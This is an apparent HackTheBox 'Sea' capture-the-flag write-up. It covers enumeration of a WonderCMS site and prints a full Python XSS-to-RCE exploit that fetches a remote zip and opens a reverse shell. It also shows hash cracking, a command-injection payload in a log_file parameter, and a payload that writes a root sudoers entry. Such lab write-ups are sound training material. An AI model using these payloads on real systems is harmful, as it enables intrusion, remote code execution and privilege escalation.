> For the complete documentation index, see [llms.txt](https://suhaybs-organization.gitbook.io/suhaib518aljuhani/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://suhaybs-organization.gitbook.io/suhaib518aljuhani/hack-the-box/hackthebox-sea-writeup.md).

# HackTheBox - Sea writeup

{% embed url="<https://buymeacoffee.com/suhaib518>" %}

<figure><img src="/files/kZKepHw6uzpFILqpw6DC" alt=""><figcaption></figcaption></figure>

## First view/look

We can do a Nmap scan on the target to see which ports are open to get the first look

```bash
nmap -sCV $box
```

<figure><img src="/files/cu2zqRJqLz8UBrZoGPKe" alt=""><figcaption></figcaption></figure>

We can know now that we have two ports open\
1\. SSH - OpenSSH 8.2p1\
2\. HTTP - Apache httpd 2.4.41\
\
looks like any Linux machine, you  need to exploit the site you can see on http then authenticate to ssh to get a user flag then continue to privilage escalation.

## First look for the site

Note: you should add  \[box\_ip    sea.htb] to your /etc/hosts file

<figure><img src="/files/Gr3iySuq5cQwALCblKbf" alt=""><figcaption></figcaption></figure>

We can see here that we got this page, but when clicking contact it showing us a page has a contact form, but nothing interested we can get there.

<figure><img src="/files/MZ05YfeOok6vHdvL2Xzm" alt=""><figcaption></figcaption></figure>

So we managed to enumerate the site to see if we can get an interesting pages there\
We can use gobuster or feroxbuster to enumerate, but I prefer feroxbuster\
You can install it from <https://github.com/epi052/feroxbuster>

```
feroxbuster -u http://sea.htb -w /usr/share/wordlists/dirb/big.txt
```

<figure><img src="/files/jAZivJVBnNUcuum1f9zs" alt=""><figcaption></figcaption></figure>

We can see now that we have some interesting things like /themes/bike/version for example

If we visit that page we can see the version but not the service used unfortunately.

<figure><img src="/files/pljsfNlpWOf13nf3yr6j" alt=""><figcaption></figcaption></figure>

if we tried different wordlist, we can get an interesting file

<figure><img src="/files/L0APZM2b8nDOrdTR3SP1" alt=""><figcaption></figcaption></figure>

We can see README.md contents to know what is the service used there

```sh
┌──🮤 CHANGE ME🮥─🮤 192.168.xx.xxx🮥─🮤 10.10.xx.xx🮥
├──🮤  ~/feroxbuster🮥                                                                                                       
└─   curl sea.htb/themes/bike/README.md                                                                         [ 3:20PM ] 
# WonderCMS bike theme

## Description
Includes animations.

## Author: turboblack

## Preview
![Theme preview](/preview.jpg)

## How to use
1. Login to your WonderCMS website.
2. Click "Settings" and click "Themes".
3. Find theme in the list and click "install".
4. In the "General" tab, select theme to activate it.

```

Now we know that the service is WonderCMS v3.2.0

First thing we should take care about is the PoCs we can get after we knew the service

<https://gist.github.com/prodigiousMind/fc69a79629c4ba9ee88a7ad526043413>

{% embed url="<https://gist.github.com/prodigiousMind/fc69a79629c4ba9ee88a7ad526043413>" %}

We can use this exploit to get a reverse shell as www-data

<figure><img src="/files/EjLhxpSSpfBZ6FYXC4GF" alt=""><figcaption></figcaption></figure>

Now we can get back to the Contact form and paste this to the admin as the exploit says:

<figure><img src="/files/9ska2tQsnyxr2S53HKym" alt=""><figcaption></figcaption></figure>

Edited the code to solve the problem with `urlWithoutLogBase` Variable Problem:<br>

```python
# Exploit: WonderCMS XSS to RCE
import sys
import requests
import os
import bs4

if (len(sys.argv)<4): print("usage: python3 exploit.py loginURL IP_Address Port\nexample: python3 exploit.py http://localhost/wondercms/loginURL 192.168.29.165 5252")
else:
  data = '''
var url = "'''+str(sys.argv[1])+'''";
if (url.endsWith("/")) {
 url = url.slice(0, -1);
}
var urlWithoutLog = url.split("/").slice(0, -1).join("/");
var urlWithoutLogBase = new URL(urlWithoutLog).hostname; 
var token = document.querySelectorAll('[name="token"]')[0].value;
var urlRev = urlWithoutLogBase+"/?installModule=http://10.10.14.99:8000/main.zip&directoryName=violet&type=themes&token=" + token;
var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", urlRev);
xhr3.send();
xhr3.onload = function() {
 if (xhr3.status == 200) {
   var xhr4 = new XMLHttpRequest();
   xhr4.withCredentials = true;
   xhr4.open("GET", urlWithoutLogBase+"/themes/revshell-main/rev.php");
   xhr4.send();
   xhr4.onload = function() {
     if (xhr4.status == 200) {
       var ip = "'''+str(sys.argv[2])+'''";
       var port = "'''+str(sys.argv[3])+'''";
       var xhr5 = new XMLHttpRequest();
       xhr5.withCredentials = true;
       xhr5.open("GET", urlWithoutLogBase+"/themes/revshell-main/rev.php?lhost=" + ip + "&lport=" + port);
       xhr5.send();
       
     }
   };
 }
};
'''
  try:
    open("xss.js","w").write(data)
    print("[+] xss.js is created")
    print("[+] execute the below command in another terminal\n\n----------------------------\nnc -lvp "+str(sys.argv[3]))
    print("----------------------------\n")
    XSSlink = str(sys.argv[1]).replace("loginURL","index.php?page=loginURL?")+"\"></form><script+src=\"http://"+str(sys.argv[2])+":8000/xss.js\"></script><form+action=\""
    XSSlink = XSSlink.strip(" ")
    print("send the below link to admin:\n\n----------------------------\n"+XSSlink)
    print("----------------------------\n")

    print("\nstarting HTTP server to allow the access to xss.js")
    os.system("python3 -m http.server\n")
  except: print(data,"\n","//write this to a file")
```

<figure><img src="/files/bWFoPoLVmH2DFaiW6rvQ" alt=""><figcaption></figcaption></figure>

We got the shell successfully!, but make sure to visit `http://sea.htb/themes/bike/revshell-main/rev.php?lhost=YOUR_IP&lport=YOUR_LISTENING_PORT` , because we installed main.zip file to our own, so if you unzipped the file you will see a directory called `revshell_main`  and a rev.php file inside, so this is why we need to visit the imported Module there to execute our reverse shell!

## Foothold - User flag

Now we have a shell as www-data, first thing to come in mind is to visit /var/www/sea to see if there is any configuration file can give us sensitive information to move one step further, and maybe a password!

<figure><img src="/files/EOLnv1EK2Q1Pz3eHEAvp" alt=""><figcaption></figcaption></figure>

We found a database.js file inside data directory, So we can see if there is any user information there or important information.

<figure><img src="/files/qvEqasooEBZW8rrIVvJT" alt=""><figcaption></figcaption></figure>

We got a password, we need to crack it but we don't know for which user is this, So we can see /etc/passwd for any users there we can see to know if we cracked the password which user to authenticate to ssh by.

<figure><img src="/files/ouCJDaR9BRug5xwFx3sb" alt=""><figcaption></figcaption></figure>

We can see just amay here, so the password is the amay password.

— Cracking the password using hashcat:

```bash
hashcat -m 3200 amay_hash.txt /usr/share/wordlists/rockyou.txt
```

<figure><img src="/files/4OBU0p8yYG2EMsKVOgFJ" alt=""><figcaption></figcaption></figure>

We can now authenticate via ssh by amay

— Authentiacating via SSH:

```bash
ssh amay@sea.htb
```

<figure><img src="/files/srU0ZRs4fNUPIHkQ5wph" alt=""><figcaption></figcaption></figure>

## Privilage Escalation

As we can't run sudo on amay, we should check running ports by running `ssh -tuln` to see which running ports are available to forwarded it to privilage escalate!

```bash
ss -tuln
```

<figure><img src="/files/bXExVDUdCPPWFxAe7qDx" alt=""><figcaption></figcaption></figure>

We can see 8080 port is running, so we should port forward it to see what interesting things we can see there.

— Port forwarding command:

```bash
ssh amay@sea.htb -L 8080:127.0.0.1:8080
```

Now we should visit `http://localhost:8080`in our local machine to see what is running on this port

First, you will get an alert ask you for the username and the password, you can use the same as SSH.

Then, we can get this page:

<figure><img src="/files/yvkaDoNsJ53jeQANCG8a" alt=""><figcaption></figcaption></figure>

We can see a log file and an Analyze button, we can get suspicious logs.

&#x20;

<figure><img src="/files/CZZJHdG8fmNu2z5wmCYE" alt=""><figcaption></figcaption></figure>

Our SSH session detected as suspicious pattern.

First thing to come here in mind, that maybe there is LFI here??

We can use Burp suite change requests to see if the site is vulnerable to LFI or even RFI?

<figure><img src="/files/jBjzJpVzVgjTM7MYqOKy" alt=""><figcaption></figcaption></figure>

Looks like it's vulnerable to LFI, ammmm, we can now try if it's vulnerable also to RFI or ...?

As we used `log_file=%2Fetc%2Fpasswd` which means `/etc/passwd`, we can now try `log_file=%2Fetc%2Fpasswd+%26%26+id+#` &#x20;

<figure><img src="/files/pyn1jn3gmRr9hYkxBnYB" alt=""><figcaption></figcaption></figure>

Ohh, it's really vulnerable to RFI!!

As we can execute commands as root, We can now add amay to sudeors with full permission to gain full access to root!

— Adding Amay to sudeors with Full Permission:

```
log_file=/etc/passwd+%26%26+echo+"amay+ALL=(ALL)+NOPASSWD:+ALL"+>+/etc/sudoers.d/amay+#
```

<figure><img src="/files/ksa97j1ygGZotv4aqCi0" alt=""><figcaption></figcaption></figure>

We can now in our SSH session executing `sudo -l` to check if we are now in sudeors files or not, then `sudo -s` to get into root!

<figure><img src="/files/jo3RLOpN1dtJC2EKsbzH" alt=""><figcaption></figcaption></figure>

Sea Machine Pwned!!

{% embed url="<https://www.hackthebox.com/achievement/machine/638958/620>" %}

<figure><img src="/files/WkLE9xlXY17MyRZyn8XV" alt=""><figcaption></figcaption></figure>

You can support me if you liked the content, thank you!!

{% embed url="<https://buymeacoffee.com/suhaib518>" %}